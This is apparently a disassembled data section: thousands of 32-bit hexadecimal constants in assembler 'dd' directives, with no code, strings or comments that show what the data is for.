		dd 107FD5FDh, 29148480h, 2485A4F0h, 7EB0272Ah, 38261413h
		dd 459D2387h, 80AC0648h, 8A75E11Fh, 268BB8A1h, 0D480162Ch
		dd 53684E0h, 93435E31h,	378A899h, 0F95856C1h, 0B7190230h
		dd 79E6B3A8h, 27332870h, 7C9950A5h, 6ADB2A08h, 0E1871FF8h
		dd 0D896419Fh, 6E32D201h, 2D375400h, 2ABF7B3h, 0B5B8FA58h
		dd 0DB81CCEEh, 8064A680h, 3BA78B88h, 6081E6A1h,	8A7150C4h
		dd 78A00D58h, 84A433B0h, 0B8FCC01Ch, 777E09h, 0BEB38E9Ch
		dd 0A5C8A9F2h, 40D9844Ch, 19D46D0Ah, 31BB054h, 8F4C06D5h
		dd 8462D45h, 0A068802Ah, 0A5040E03h, 9F2A1086h,	0C4EBEDB0h
		dd 0D2161660h, 28D0C043h, 7095F496h, 25E634F8h,	0E0C85C1h
		dd 0C5E95214h, 0AFC5828h, 964FD29h, 0F003A360h,	0C8249241h
		dd 0C93C3CC8h, 33025830h, 0E0BB29B9h, 0A318615Eh, 600AA2A3h
		dd 9478280h, 57678833h,	0EABC1084h, 9F4CEC46h, 10DC81D0h
		dd 0EE22900h, 0A7D08900h, 0E9D21C86h, 0A8983Fh,	9E95525Eh
		dd 6D31C071h, 0CA2CBB03h, 7B5DBFD1h, 4EB12420h,	64D9158Ch
		dd 189E5208h, 87FE1A38h, 0D1B6C0C0h, 2919C340h,	1A08694h
		dd 6954DF80h, 0C17EB4C4h, 0E50928A6h, 41B0CA2h,	6712B2C4h
		dd 63A80310h, 0E45A6005h, 2C82209Eh, 0C3E8841Bh, 41D66C9Ch
		dd 580051B0h, 82F4480Ah, 710EC430h, 1271A3DDh, 370F5888h
		dd 0BC288804h, 22CC6251h, 0C0544030h, 8B979B09h, 467C0295h
		dd 0EE990068h, 0C960B480h, 87D8C648h, 24009FDEh, 0CF67C8Eh
		dd 2C95F718h, 54D24B38h, 0F62EAC61h, 79D7DC3h, 0BC8CBFF3h
		dd 9638409Ch, 9E0017C0h, 0F415C9DCh, 1C2B535Fh,	96CBA6F5h
		dd 8654043Ah, 0F8EF4CAFh, 408C407Dh, 3110BF62h,	18180974h
		dd 949A30D1h, 0E1580B01h, 0A5F7B63Ch, 20F087E9h, 694B39Bh
		dd 381AA6E6h, 74E8C109h, 97C882CDh, 2AC48580h, 0A6FBBC81h
		dd 4E87D5D0h, 0F7D48058h, 94010B97h, 568116D9h,	34355380h
		dd 0EE6E830h, 505A271Bh, 4527F46Fh, 2B69AFD5h, 80FE68A0h
		dd 0C49B52A7h, 2840C420h, 0C864A09Eh, 8A2A806Dh, 53B99D01h
		dd 0C6B1E630h, 0D522B189h, 9EA7CC90h, 0E6006DE8h, 0F48EF5E4h
		dd 4C1622B6h, 0C445C8AFh, 0E60B1C26h, 0C419A6BDh, 487C6694h
		dd 0C321F60h, 0A1AF7F4Eh, 6EE15BAAh, 17E7FDF0h,	762968h
		dd 921C5DA4h, 0F703D8D1h, 0E6A9C0B7h, 58D62Dh, 0D040078Dh
		dd 97982845h, 80E7991Ch, 0B443BD56h, 5A20D1h, 75CB0699h
		dd 0EF18300Bh, 0F680C9C4h
		dd 88641D12h, 670458E3h, 9CD0B106h, 9840B58Dh, 0E62A0800h
		dd 5C1C734Fh, 0D4DA390Ah, 3D103F94h, 0ED0C0CAh,	89EC59D4h
		dd 507CCE09h, 0BE9B093Fh, 71B80726h, 0B893843Eh, 622018C7h
		dd 0FC1648h, 347A3033h,	0E6109B7Eh, 89D022F0h, 0FB460AA8h
		dd 5A41A0ABh, 7FC09F08h, 1338905Eh, 5DD4F480h, 43D9349Ch
		dd 0AD0D67DCh, 0CCBD4928h, 3C6B0F20h, 9B009029h, 0EE9880F2h
		dd 4F055B9Eh, 1A16ADE9h, 5852DE00h, 656D07h, 2869CA0Fh
		dd 0D0C05D80h, 0E2CE140Eh, 0C607C357h, 62ADC1A7h, 69300070h
		dd 149088D5h, 0C91AE92h, 0C08D8131h, 1D51107h, 6F343583h
		dd 5C51B8C1h, 3DD07ED0h, 9A0289C2h, 62EE91C4h, 9528E860h
		dd 18AC22E9h, 12E8F743h, 190E6FCh, 9796A0C6h, 45D0CAD1h
		dd 0B8605494h, 38BE0A19h, 0BD272028h, 0A800839Fh, 0AEA7AAA6h
		dd 0A1428190h, 31C0769Eh, 9844B0F1h, 8B9D449Ch,	0BE2600B8h
		dd 0E80B0C96h, 0C1881248h, 7FE16718h, 405DAC24h, 970028C3h
		dd 204455DDh, 8838A9E6h, 0FC90B3FBh, 0D27F8812h, 0BECC8844h
		dd 0B02690C8h, 92D1160Ch, 0C0881F8Ch, 75947151h, 0DB20A6D4h
		dd 3ED11025h, 44592716h, 32A609D4h, 80D8BD88h, 0F088CC93h
		dd 0DE0BC0DBh, 88929F20h, 5AF83820h, 544C4015h,	37B6684Ch
		dd 179C0D00h, 0B9B0EC0Ah, 0EAE1CFAh, 0E558C108h, 0BF884C8Fh
		dd 672E84E0h, 3894A3CCh, 5F349809h, 6220A8ACh, 0D8BEAB26h
		dd 80D3CF81h, 0A0832514h, 3A29D198h, 585CC800h,	4D38A6F3h
		dd 44D2182Dh, 82281845h, 0BDCA1B01h, 8803CDE4h,	27A8402Eh
		dd 97300146h, 4931091h,	0FC004056h, 876798Fh, 0D6B87B2Eh
		dd 2E041C4Eh, 40AA1805h, 9D00DF35h, 4222636Ch, 5BA767F7h
		dd 0C4E840A4h, 0DAD3EAFCh, 40E0E61Ah, 4A28E658h, 1F648858h
		dd 8B4D0890h, 0C74E0020h, 89830445h, 0C8F0C805h, 81B89103h
		dd 0E4AAE2F8h, 30550B4Ch, 0D818EA4Eh, 21D07DC3h, 154019Ch
		dd 2F05B52Eh, 0B12CD464h, 49DB00D0h, 7194F567h,	0AC80023Ah
		dd 0F7805CA3h, 0C9898EB1h, 4E2C0087h, 97DA3AE5h, 0B378FA51h
		dd 1295CD03h, 0F85A588Dh, 4F6876h, 51D4A60Fh, 28B51DB8h
		dd 0BC838700h, 90DF5C4h, 0FE5802A5h, 0B2465B6Bh, 0F26338C8h
		dd 58601082h, 9001978Eh, 229F4430h, 6E24703Ch, 560F5047h
		dd 804D02D4h, 9004692Ah, 961D0038h, 9152D1h, 0E6A8F980h
		dd 58CE6362h, 0D0BD05B5h, 9CE4BC44h, 0A8A0804Bh, 403934B9h
		dd 0C13E087Fh, 4CA849F1h, 17DB2240h, 44241FC9h,	0A40B1B40h
		dd 0A802318Ch, 4F80ADACh, 26A0E569h, 39E6C188h,	6018A67Dh
		dd 609DE300h, 7EC98C0h,	7E76289Ch, 8C2EA2EEh, 1C860960h
		dd 0C5EA2A0Eh, 6006E0ABh, 28B7F0h, 0A317E79Ah, 0C7DC4E69h
		dd 9649D401h, 2EE692A8h, 0D221C424h, 0B05800E1h, 0DD26FA47h
		dd 4081949Ch, 5B0145F7h, 4A466FEh, 4ED1EF60h, 0D89C8053h
		dd 5230E67Bh, 0A081B10Ah, 0C1BA247Ah, 3812B8C8h, 0D0341197h
		dd 4E8D274h, 0FCA584h, 0ED054E33h, 61EC009Ah, 0A0938328h
		dd 0E61813D2h, 23583CB2h, 0C9489CB5h, 7B761880h, 0C902220h
		dd 83E86700h, 0FCA8FAA3h, 3A811239h, 270376Eh, 0ECA0B6EBh
		dd 17592005h, 0DD1D517h, 9491F8A4h, 0E2978950h,	84482C84h
		dd 0F08CB548h, 0C8961CC4h, 1CFDA114h, 7E0CB175h, 1225686Fh
		dd 32EE2990h, 0D110E1DCh, 13892D4h, 0A76D78FAh,	0E9E69D3Bh
		dd 82209474h, 7C08BC4h,	5C06B868h, 1BF5F8B1h, 201FF0D1h
		dd 8AE6A2EFh, 7C2C08DCh, 0D8CC28C5h, 96D4B266h,	4382E2Ch
		dd 126A1C01h, 0ED60A080h, 671FE0B9h, 0CA2DC07Bh, 0A6C834F8h
		dd 33B32080h, 8E10C28Dh, 7D301FC0h, 0C91C378h, 0F11040A4h
		dd 50E9BE02h, 60C2FAD8h, 0C482DC3Bh, 15D8B8A1h,	5D038B4h
		dd 9D4081B6h, 89BD848h,	620BB205h, 33D014BBh, 0AE50C27Ch
		dd 8294A181h, 81095838h, 896FC30Eh, 6883FDE4h, 0C34A8A29h
		dd 0C8CF32D1h, 9E779CA5h, 90BF7930h, 0B5B2803Dh, 5E300C01h
		dd 0DD62F597h, 58CBCDD3h, 90415C3Ch, 149F4064h,	10D48971h
		dd 1F44234Eh, 0A48B2027h, 0E20BC714h, 2CB91882h, 0F077A0C4h
		dd 0D1634804h, 0DCB2DF30h, 268E7100h, 0BE091634h, 2CAD6600h
		dd 0AF9AB187h, 94FB5856h, 1EAE533h, 0A9F438B6h,	0E2BE618h
		dd 9B41280h, 0BC657B10h, 0F1001CF8h, 895E73C4h,	3F149907h
		dd 0B2981FBFh, 22F038A8h, 2659B080h, 80B88C80h,	0AB81B99Dh
		dd 66587195h, 79DA0320h, 0E0EC88FDh, 849AC768h,	94082849h
		dd 0E520024h, 1E198DB7h, 7A300304h, 0AE48B89h, 98AEFCE0h
		dd 2E9FE800h, 8629CE82h, 477F00C9h, 0B4146040h,	97EC90C0h
		dd 0E6284504h, 78905E93h, 6B17986h, 2C80626Bh, 0D125A9C6h
		dd 0F4F0D038h, 7FBB04AAh, 0C80E8093h, 0A54406B4h, 0A3BD1CBEh
		dd 0B8B5C499h, 0EF28F0C6h, 200347E8h, 2F80F99Bh, 0DE390078h
		dd 0B133E206h, 10C0ACFAh, 0DD6F566Dh, 847F2487h, 2DFD873Ch
		dd 0BA851095h, 962E535Fh, 0E6058E5Ah, 0F0CA5740h, 96ABCA12h
		dd 0F901D0D8h, 1829777h, 0D023F0FBh, 10202A2Ch,	62245244h
		dd 6A1E8018h, 0C3B8CB50h, 238D667h, 2B57E3CEh, 0B4E41398h
		dd 0F4B22DE0h, 0A230E6E8h, 0E85C1808h, 0D1C9127Bh, 91588675h
		dd 2BD2C27h, 4084AB80h,	0B604801Ch, 0CB600AD0h,	800753F4h
		dd 9E566A50h, 57E401BFh, 4FC46728h, 0C1622606h,	0A98400D4h
		dd 0DA4CC7F8h, 0CFFF2CC0h, 4ECB01DFh, 719031A4h, 6C0404F8h
		dd 0C2076D03h, 7ABF2082h, 619F5FC1h, 0C8936FCDh, 4C7CCA45h
		dd 0ED210260h, 0C0897833h, 2E98608h, 5292D68Fh,	14A0052Ch
		dd 0D18A37ACh, 508C4C00h, 0C68B31Dh, 573906BEh,	8019D680h
		dd 2694974Ch, 13274884h, 0D400070h, 0DB1287FAh,	4E03E103h
		dd 0AC8097E6h, 1B380A96h, 2C982EADh, 729ABFD8h,	0BC83A869h
		dd 582591A7h, 1B483FFh,	8852CD2Bh, 405AD809h, 94B362DCh
		dd 0EFCCA46Ch, 831141Fh, 0D20DD802h, 0AB0F0442h, 512892CDh
		dd 46E40824h, 6310711Ah, 0AC88E414h, 73BA0E81h,	0EA0B8063h
		dd 0DC985044h, 2A02FC87h, 51B27067h, 0B69180C8h, 21B74D0h
		dd 11E68E09h, 0F034C410h, 10156720h, 0AC6502ADh, 9B302C40h
		dd 0B1A8CC0Ah, 0F81D8898h, 0F85C1325h, 26A27773h, 5C2665h
		dd 0C40B2231h, 97A12E5Fh, 7C40D2F6h, 0F2004F5Ah, 8DB88485h
		dd 1EFB29h, 58685378h, 1B54A6FEh, 1D08058h, 5A2788DAh
		dd 0F8A0F8C0h, 0E62F0B08h, 0D8227C3Ah, 5F008A2Bh, 1D661550h
		dd 4E92CE79h, 9549251Eh, 60E0880h, 0E30058AAh, 616A538Fh
		dd 24BE429h, 8009C082h,	88C8466Ch, 580951D8h, 8045EEE6h
		dd 2FFE9A86h, 1BE1014Eh, 0A863FD1Ch, 0DF09E1AFh, 0CA561116h
		dd 0AD52BC5Eh, 2ACEE040h, 787007C4h, 9C33005Fh,	0B2FF9917h
		dd 56485AA1h, 0D4FA3E18h, 0E05F80DCh, 52969402h, 12A876F1h
		dd 8A0C1620h, 253070DCh, 302A6889h, 5D660E44h, 541D63C6h
		dd 102FCB5h, 0DF19BDFDh, 95C010E2h, 46030BC2h, 68032A24h
		dd 0EAD1C055h, 9AC81F4Ah, 0DC60C037h, 300A5853h, 29CC1500h
		dd 0CE33D472h, 3CC8BE08h, 40B2E5AFh, 58AB4448h,	5BD98018h
		dd 5DCBFA0h, 2BA7310Ah,	0C07C8526h, 0E910C450h,	590048BAh
		dd 0CC529D24h, 0B867B2C9h, 0D07E61F8h, 2CB7F6D8h, 28149618h
		dd 94C096A8h, 0B7BD7BE6h, 96354802h, 0A4ECCCE3h, 0B6006EDCh
		dd 0F34C5BE0h, 10FDC3A6h, 7B165DE5h, 909A38E0h,	0D6075805h
		dd 0E8819277h, 0EC280524h
		dd 17E30A1h, 6C605BB3h,	9005483Bh, 85F6BEC5h, 8128F010h
		dd 594840h, 9A294D09h, 0CEFE1AF4h, 0BD09C37Ah, 2371E73Ah
		dd 88B51F58h, 0F02996h,	0B35EA56Ch, 28C205D8h, 6A4B5C9Ch
		dd 0C574E2A0h, 0D19883ACh, 0B81E2E02h, 0D6C0B92Ch, 0FADB5856h
		dd 83B804C0h, 0D01DF0D1h, 0DD4E7BA0h, 944BC894h, 82E82008h
		dd 549D6D0Eh, 0D1C09F0Bh, 7FAD99F7h, 7C7E3080h,	0CBD8720h
		dd 0C824EA00h, 4FFDDC69h, 99E9013Fh, 0D84779CDh, 0D4F8C2D1h
		dd 0E6B2FA04h, 5CD0A090h, 7FC6DECh, 0E7583494h,	74BE3161h
		dd 0B0E1C2A9h, 23118962h, 0A0444CBDh, 0DC91E730h, 3BDEDEA1h
		dd 544838D9h, 2F9CB870h, 689236ABh, 202A4CC1h, 88BCB6A0h
		dd 0F04CCC26h, 0A844B328h, 5BD17F70h, 0DDDCC38Fh, 0DE4D1018h
		dd 4A4E7621h, 0D78C23E0h, 0E2490B4h, 0B13B702Ah, 80EB8579h
		dd 0D0B45C4Ch, 830200ADh, 44823024h, 2605C7B7h,	9A2FCBCEh
		dd 0FE60807h, 9F9158FCh, 81B25480h, 60C7A110h, 509DBF80h
		dd 0FD07B439h, 90375316h, 0E62EF099h, 0D444C6A2h, 6CC2884Ah
		dd 0C53CF24Fh, 0F03D8770h, 9FA307Ch, 1D0CD779h,	0A8FEE31Bh
		dd 73800C5Bh, 0FDB8AA02h, 0CA14BB0Bh, 0AF3CA08Ah, 71F0932h
		dd 0F1C05141h, 91AA32B7h, 9E652C60h, 58A0A800h,	264BFDF9h
		dd 7DC98A2h, 0FE8CE554h, 80DC6A80h, 2AAEFD0Eh, 0B6EAD192h
		dd 7AE8A4A0h, 30B9C903h, 0C8FA6711h, 0C04EFC80h, 585407B9h
		dd 4F0594E5h, 0C2D23B5Bh, 0E16084A1h, 568273C3h, 0E118E0B4h
		dd 0EE3610C9h, 0F769DE07h, 0B6C7F8D8h, 0E01C4B9Bh, 690F0DEFh
		dd 0A491A896h, 61D1C0D8h, 4C608D65h, 0DCA884C4h, 0EE919500h
		dd 0AB0C312Bh, 5B7903Ch, 876733DEh, 0E4A0DCD5h,	60214C9Eh
		dd 28EBF000h, 0B85B0498h, 7A70EE58h, 76921A03h,	0DEBD8068h
		dd 0E089858h, 840DBCF7h, 0A88D5904h, 9C6092BCh,	0B158CC67h
		dd 0B469CDCh, 2CE4525Dh, 0B304E920h, 0BED38138h, 0F4392B58h
		dd 9100A820h, 4615EBAh,	1E32ED23h, 288729Eh, 0FACDD201h
		dd 0B583BC54h, 0D2EEEDA6h, 816237h, 2B159108h, 0B2251FBAh
		dd 0C7400BC0h, 9F0C7C80h, 58A0ED26h, 2F00CFCEh,	1AAD497Eh
		dd 4F2995BDh, 56B844EAh, 0E798C1B4h, 0A733015Dh, 5A9187F8h
		dd 7FA043C8h, 80C4F7BAh, 0E5863FE8h, 16C00D00h,	464C54B4h
		dd 0BD2A06F2h, 0F826B6E6h, 0D0FAC92Ch, 401FE00Fh, 9348F45Dh
		dd 0FDDE26E6h, 0A48C230Ch, 1C3E02D8h, 0CC881E6h, 0B54F9523h
		dd 9028F03Dh, 0F3C80112h, 482C5D64h, 3AC3A30h, 0D471929Bh
		dd 0A9B5E260h, 0E298B3E0h, 4D45CEAh, 742DE6h, 0DD3B8A29h
		dd 980A0AB8h, 0C09EECh,	0F5FAA91Ch, 0FD00D04Dh,	5F419727h
		dd 1471F160h, 8C9433D9h, 0AF63C30Fh, 9DE89823h,	43521181h
		dd 0A14C2DA8h, 4E1DEA0h, 0D689E9D1h, 1F16E070h,	2404B58Dh
		dd 9C0009AFh, 0BD19A907h, 888CDC00h, 53B20CABh,	754E0572h
		dd 900E94D1h, 5B339820h, 0CE05D602h, 89803041h,	3258A508h
		dd 655A48B0h, 0B8F0A00Fh, 0D64C0188h, 0CDE72C9Ch, 0E0FDF024h
		dd 6984246Bh, 0F03D0014h, 0F7D836A3h, 0BE31D119h, 5C715670h
		dd 0B73C06Dh, 0EF4C2C87h, 304260C6h, 35810h, 0F5619A0Fh
		dd 6184A1B3h, 462A3040h, 32C031FCh, 15921680h, 82A80420h
		dd 79C3A3E6h, 0B5940F10h, 0C8E39991h, 80D99A09h, 88747431h
		dd 0CB37AC00h, 2353D4CFh, 0DD050F4Eh, 0B8896C46h, 0D0C99081h
		dd 0FD87F232h, 20ED3009h, 0A748409Eh, 29099C9Ch, 0A0547095h
		dd 3D2A51D8h, 80E1D2E6h, 0E8DE3813h, 0B05CB8B6h, 48700E4h
		dd 0D89FEB66h, 0EF2A2801h, 0E6300908h, 1453174Ch, 0F4012D16h
		dd 0C85604D1h, 9588E089h, 6712CC58h, 30C975BEh,	1385483Ch
		dd 0F2A8D27Bh, 2C38B4FCh, 962D2CFBh, 139829B0h,	842CA0h
		dd 1F1D7FDh, 1971AC84h,	0A6E2E618h, 0B0772051h,	88A49938h
		dd 2C1F9192h, 84900913h, 4CA3C5BEh, 0B814AC99h,	84D2F48Eh
		dd 0DB818334h, 3C8D684Bh, 3C8BAC64h, 0B44E87E9h, 0EB406288h
		dd 2E64B67h, 0FB42D1A0h, 535F7860h, 0C93DE00h, 45AECDF8h
		dd 91902FE1h, 7D8849h, 496CB6F0h, 9909E06Eh, 84718F71h
		dd 9CEF1B8Ah, 1172A20Ch, 984CF0EEh, 0B82D1D1Ch,	1CC813F6h
		dd 2494663Ch, 0E2B0802Ch, 5AC800Ch, 9F8EF203h, 5FC0FD1h
		dd 73EA8198h, 54E8A4AAh, 0CF6D8002h, 42908EF1h,	0B24593Ch
		dd 0CC40B51Dh, 8B9D4CD1h, 0C10C63E8h, 28A7CDB8h, 4672A846h
		dd 0B730F164h, 0AE0328A3h, 0B352883Ah, 0EF01100Bh, 0C0302265h
		dd 36780C67h, 5CEB6A00h, 2FD80A5Ah, 0A37D009Bh,	30A68CEEh
		dd 0E60E5857h, 36C16BC8h, 82F294C8h, 90090056h,	2604DBBAh
		dd 286718BCh, 4F38C338h, 7E808CD2h, 0B890203Fh,	0FF18286Ch
		dd 214824F8h, 0A04E0060h, 34982909h, 0C04244Bh,	7100060Ch
		dd 0F6CC80E1h, 6EA8FCA8h, 2A7C9095h, 0D10023Ah,	0E103E986h
		dd 5A12F2E0h, 27D83E01h, 7A918A7Fh, 980212Fh, 0F001054Bh
		dd 0C29DEC3Fh, 6A111070h, 7D919BEh, 25ADCC7h, 30F081BBh
		dd 70C8974Eh, 0C3992D2Eh, 0BC2E34A9h, 5859AD82h, 63A924C1h
		dd 846700F0h, 0D16F05AEh, 5CF4AAC0h, 65702ED0h,	968B8D8h
		dd 4025E632h, 0F19180h,	4A5C3CD4h, 29179BECh, 0AD3F15FCh
		dd 9D9400C0h, 602ADB61h, 672B0052h, 85B74EBDh, 0F9D5AD1h
		dd 0F57D615Ch, 0E6D02AE5h, 907E4F15h, 308E723Ch, 6587403h
		dd 0EBAE483Dh, 0D750B8AFh, 0FA370E67h, 0A86041FBh, 68E0D18Eh
		dd 90B1B983h, 0FA7843Ch, 0F7284033h, 1CCDD19Dh,	805120C4h
		dd 0AC437984h, 88E77208h, 0F9E2898h, 0D4EB4D6Fh, 8E66D080h
		dd 2062A614h, 7585D1D8h, 6C200Bh, 997C9627h, 0D180A468h
		dd 8F2881AAh, 31027F34h, 0A8A9119Ah, 4270C2B6h,	40145C0Ch
		dd 0BEC2F051h, 98800D09h, 4ED40103h, 0B8ECA0DDh, 596C92F3h
		dd 1F2EB0C1h, 0B48B1724h, 4E40DB74h, 0ED792ED7h, 23DF00A0h
		dd 2854C1ACh, 0A006E618h, 32808EA1h, 95B8F944h,	69CC76h
		dd 11720734h, 0F0FFFEABh, 110662E2h, 34E1BEB8h,	0E6788C99h
		dd 7AD0E117h, 792C90D1h, 1AC700E9h, 80EF6EAh, 0E6182BAFh
		dd 0B4280CCBh, 0E7613259h, 344BDD2Eh, 98189790h, 50000B74h
		dd 0A990AFC0h, 27482FFEh, 7804A4DCh, 8B64C1B8h,	8587D8Dh
		dd 4285080h, 0AC8718E6h, 2C0202F4h, 5E4E9967h, 8C3045A4h
		dd 3213D2E4h, 901796B8h, 0F884FC82h, 0C82D4B10h, 80F6711Ch
		dd 67EC0554h, 18760E2Dh, 3C493064h, 2FF915Bh, 4472312Bh
		dd 0A48F6A11h, 0D09DF2E0h, 0B871F9C8h, 1204A65Dh, 10A0BF80h
		dd 95712C8Bh, 87916480h, 5F031888h, 0AF31980h, 0EC298A28h
		dd 728F4FCCh, 0B99C32D3h, 0F70B145Eh, 1F0073Fh,	0B0E263C5h
		dd 8216F456h, 8680214Ah, 0C3B90189h, 40D43424h,	3B003104h
		dd 29870BA3h, 0E473C58Fh, 84B869h, 0E2598AB5h, 0CB4B30B9h
		dd 8B851E8h, 83C0C202h,	0A2F43FE6h, 0C933DBC0h,	2461C8A0h
		dd 4B6AC34h, 1DC4B2A6h,	8120F060h, 1C30214Bh, 124B4E5Ah
		dd 71E6863h, 59B713C4h,	0E856F909h, 94C2E824h, 0B8307BACh
		dd 8959F817h, 0D2C33144h, 821C4452h, 206DCF4Dh,	8E11770h
		dd 0FAAE126Bh, 0BDF000A6h, 8844495Fh, 99B68730h, 6D2CD1F2h
		dd 0E04938BCh, 98BE8B5Ch, 5084542Ch, 0ADCC5Eh, 3CFDA444h
		dd 0AA582941h, 9FD48707h, 0FC59F00Eh, 0A5262BB2h, 661A2099h
		dd 5178C458h, 3862244Ch, 584C923Bh, 93C5A2Eh, 88586787h
		dd 0AD08C001h, 2C46B37h
		dd 0EB79E860h, 5BFBFC50h, 45C49C4Ch, 48C49802h,	0CAA50313h
		dd 28A98844h, 28C0620Ah, 0C71D203Ch, 50B5971Eh,	23A0C609h
		dd 0C6A3D158h, 88BF17F8h, 9340C040h, 6C9428B3h,	69A5D84Ah
		dd 783C2AACh, 486915A1h, 0C09679D8h, 13672A09h,	96500254h
		dd 0BD77F431h, 7FB0C1h,	0BED5041Bh, 0B0C812C8h,	0DA506900h
		dd 181CC188h, 0B4E4861Bh, 0A282742Eh, 58810847h, 31527C8Ch
		dd 0BF78CEE3h, 1B3893EAh, 1C226008h, 0B88B15ABh, 47095800h
		dd 0B5D2BD50h, 90E02E69h, 6EFF1A0h, 5A82E9A8h, 0C04BC92Ah
		dd 0E1586081h, 0B82F5DF4h, 0ACCC48D3h, 680E44Ch, 9B9AE4DDh
		dd 0AB6025E0h, 64E62630h, 1A80C012h, 94F89FBh, 62501158h
		dd 0D0B03090h, 2E71E02Ch, 9D832D0h, 641A08F8h, 7B2EC880h
		dd 280173BDh, 2F615292h, 0A06CC795h, 8377C8A2h,	0E0942C80h
		dd 0E9521FAh, 4E30C2B8h, 79EA801Fh, 0E4862880h,	0D9C98900h
		dd 376B189Dh, 3E5FB092h, 7412D096h, 2D00001h, 0A86287C3h
		dd 0E07B8678h, 7E2811C5h, 0D1951402h, 526C682Ah, 83FD2E58h
		dd 51AF8134h, 34A9E62Eh, 0D324D14Ch, 0EF053076h, 0B8C4C380h
		dd 0ED27CC0h, 9EFC0729h, 0B1158228h, 0E1E6DA33h, 0E6C83554h
		dd 5B036854h, 818BD603h, 5874D538h, 5245F11h, 0B920F8ACh
		dd 6731C1CCh, 0A83C5881h, 4E640C9Eh, 0DA4BA991h, 7887CD6h
		dd 7E3EC999h, 93C41456h, 0F18148F8h, 30013A8Eh,	25DAAE2Dh
		dd 0A2C8C28h, 629CAEECh, 0A48AB51Ch, 44B24998h,	0B602C8F0h
		dd 19C8058h, 41F076AAh,	81C532E6h, 1260F7A9h, 0C2D9524h
		dd 2D54B0A4h, 88974024h, 78814842h, 52A894A0h, 6CAD9051h
		dd 9F6D2088h, 0FE4F1500h, 8428B1F3h, 1BF5032Bh,	0A0CE4E21h
		dd 0C08E7EF9h, 50B6922Fh, 71CE389Ch, 80F3E16Ah,	4C635732h
		dd 81247C78h, 0FA74208Ch, 186BD40h, 34032A15h, 6F435B7Ah
		dd 97288000h, 277B57B3h, 0CE0CDE4h, 0CF00750Fh,	0DC918CA3h
		dd 5D50E630h, 35FB4CEh,	0B71AD1A8h, 0C00BD027h,	0B2554E0h
		dd 0D585528Ah, 141D5859h, 5C891BC0h, 0D78328h, 0FC184E56h
		dd 0E9B302Ch, 0D892E107h, 60BD5DE6h, 0BC13947Dh, 136CF362h
		dd 14C851D7h, 5DDC01A6h, 2FA4B01h, 1FA43828h, 58CBB3BCh
		dd 31A585C0h, 9D80807h,	5B54FAD9h, 297C908Dh, 3FE9C293h
		dd 0BA75BC71h, 34261081h, 70565E84h, 4617FA14h,	3907B971h
		dd 0B180B7F7h, 919DFD67h, 0AE68870h, 4BFC60ADh,	774F2DD2h
		dd 14D17090h, 0C19461B5h, 1A4C167Ah, 78408070h,	7A60F1E6h
		dd 5058B540h, 1AD3747Fh, 50299F4Bh, 902474D2h, 583514D1h
		dd 79098067h, 829462F8h, 63F91C48h, 200242F6h, 0A180D192h
		dd 3D0F09A5h, 7CFD5981h, 2A7ADC29h, 4F6DE21Fh, 0A50BB42Ch
		dd 97BC0108h, 0A7A31D1h, 1D90502Ch, 0A9990F5Bh,	8292F89h
		dd 0F79E7A80h, 0A604234Eh, 84678804h, 2C707CE2h, 81045106h
		dd 12C1F603h, 64003145h, 7D0F295Ch, 9A48D1ECh, 0FE488010h
		dd 4A420836h, 9F5C0B76h, 0A81C3871h, 20219796h,	1C64C0D1h
		dd 34AB48FAh, 0C76E883h, 6870CEA2h, 9CE4E709h, 72438EF8h
		dd 11E5780Ch, 10B54823h, 0F8089496h, 0F6507FD8h, 0DD4C2ADCh
		dd 0C2285424h, 92308114h, 0B8A49D70h, 9E73FBC0h, 58B701CFh
		dd 0EAD75BE6h, 60F9FDEDh, 3700BD24h, 0BCA645B4h, 0EA4C357h
		dd 0B30D60A8h, 81EB6805h, 969024A4h, 0C490B094h, 9EA63067h
		dd 0A4640F4h, 96692D88h, 647E7088h, 0D199A8BEh,	37CBD70h
		dd 9AD081AFh, 959288Bh,	520ECD0h, 5EA602B0h, 9F40D545h
		dd 74826C64h, 82BBC451h, 5B4A96D2h, 0C804E080h,	39FC3AD1h
		dd 0B6B4495Bh, 0C351C901h, 0C18075F9h, 9186CC4h, 73B416D8h
		dd 0BE360DCCh, 8A8C24D1h, 13080452h, 0C0F6A14Ch, 0DC90044Ah
		dd 0D6C4EDCEh, 64A0F452h, 0CDDE2780h, 0F67078C0h, 64905F83h
		dd 13B4ECBCh, 0F4200C58h, 12EF1C9h, 7BDFDCC6h, 26056B67h
		dd 0FA1316F4h, 5709E0A8h, 0A70998F7h, 4C1470D4h, 308D9224h
		dd 0C472DBF1h, 3E1BAD38h, 0EDE090F2h, 4C4B9591h, 5C3130DDh
		dd 0B734053Ah, 3950E35Bh, 6A092E17h, 448F2C3Ch,	7AE80BC9h
		dd 14E1CB4h, 0F5D38E81h, 58B87E06h, 0DE0ABC9Eh,	0A0BC8CB5h
		dd 11C81CE8h, 440309B4h, 8B19E4C8h, 8106E117h, 9F55D801h
		dd 5020C1E9h, 918A06A9h, 0B06440D1h, 8CFF3701h,	0FC2BBF78h
		dd 0D091F16Ah, 0C6308834h, 9F9E9F5h, 73E7007Eh,	0A5A4E629h
		dd 0ECB86D47h, 91121500h, 0B320ACD8h, 572B0046h, 3926C232h
		dd 7212244Ah, 0E02131EFh, 21CD3706h, 1EB8C30h, 24A143BAh
		dd 7EB8FFD8h, 4C203C53h, 9DEC605Ah, 0A4F9E01Ah,	0F97EDC20h
		dd 0DF20B881h, 14C0742Bh, 0F08A89E6h, 0D8FF9D03h, 4582A1D3h
		dd 8898A4D0h, 70DB220h,	0B4C87315h, 699302EDh, 74F2AC4Bh
		dd 0D41C5702h, 185FE69Ch, 20671B40h, 68A4BEDEh,	0FF922h
		dd 0BF81AB88h, 5A270150h, 19E630C5h, 0B9288CB8h, 707F67D4h
		dd 98B6C332h, 5BB23800h, 7BA7094Fh, 19973ECh, 91D36EA2h
		dd 7FFE80F9h, 0D39E540Bh, 5E2990ECh, 0BC4E848h,	1C25A38Dh
		dd 4DC8B203h, 8B061AC8h, 2CBCB488h, 0BF80452Ch,	510B7B20h
		dd 60E18480h, 0CEF2A78h, 6DBEE5F0h, 0A3258258h,	776498C0h
		dd 0EC4700F0h, 2DFC7CD8h, 32989C2Ah, 8CD08818h,	3C3CE699h
		dd 448850Ch, 0D7DE2C02h, 74EAD89Bh, 9806080Bh, 0BA00293Dh
		dd 66DD9C31h, 719D40Fh,	87B849EEh, 0E6D700E9h, 90C09A3Fh
		dd 0E5BDEF13h, 822803BFh, 4B80EDC4h, 265638B8h,	0E002E625h
		dd 0A4B12150h, 865339ECh, 0CEB5F480h, 0F6D85739h, 8C1FACA0h
		dd 144CD05h, 0D4D89BA1h, 4E7D40CEh, 0E52E001h, 0BD8841F0h
